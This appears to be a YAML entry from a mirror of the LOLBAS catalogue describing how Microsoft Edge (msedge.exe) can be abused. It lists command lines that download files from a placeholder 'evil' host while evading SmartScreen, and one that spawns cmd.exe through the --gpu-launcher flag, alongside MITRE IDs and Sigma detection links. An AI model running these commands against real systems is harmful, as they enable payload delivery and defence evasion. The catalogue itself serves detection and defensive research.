mirror of
https://github.com/LOLBAS-Project/LOLBAS
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40 lines
1.9 KiB
YAML
40 lines
1.9 KiB
YAML
---
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Name: Msedge.exe
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Description: Microsoft Edge browser
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Author: mr.d0x
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Created: 2022-01-20
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Commands:
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- Command: msedge.exe https://example.com/file.exe.txt
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Description: Edge will launch and download the file. A harmless file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen.
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Usecase: Download file from the internet
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Category: Download
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows 10, Windows 11
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- Command: msedge.exe --headless --enable-logging --disable-gpu --dump-dom "http://example.com/evil.b64.html" > out.b64
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Description: Edge will silently download the file. File extension should be .html and binaries should be encoded.
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Usecase: Download file from the internet
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Category: Download
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows 10, Windows 11
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- Command: msedge.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c ping google.com &&"
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Description: Edge spawns cmd.exe as a child process of msedge.exe and executes the ping command
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Usecase: Executes a process under a trusted Microsoft signed binary
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Category: Execute
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Privileges: User
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MitreID: T1218
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OperatingSystem: Windows 10, Windows 11
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Full_Path:
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- Path: c:\Program Files\Microsoft\Edge\Application\msedge.exe
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- Path: c:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_browsers_msedge_arbitrary_download.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_file_download.yml
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Resources:
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- Link: https://twitter.com/mrd0x/status/1478116126005641220
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- Link: https://twitter.com/mrd0x/status/1478234484881436672
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Acknowledgement:
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- Person: mr.d0x
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Handle: '@mrd0x'
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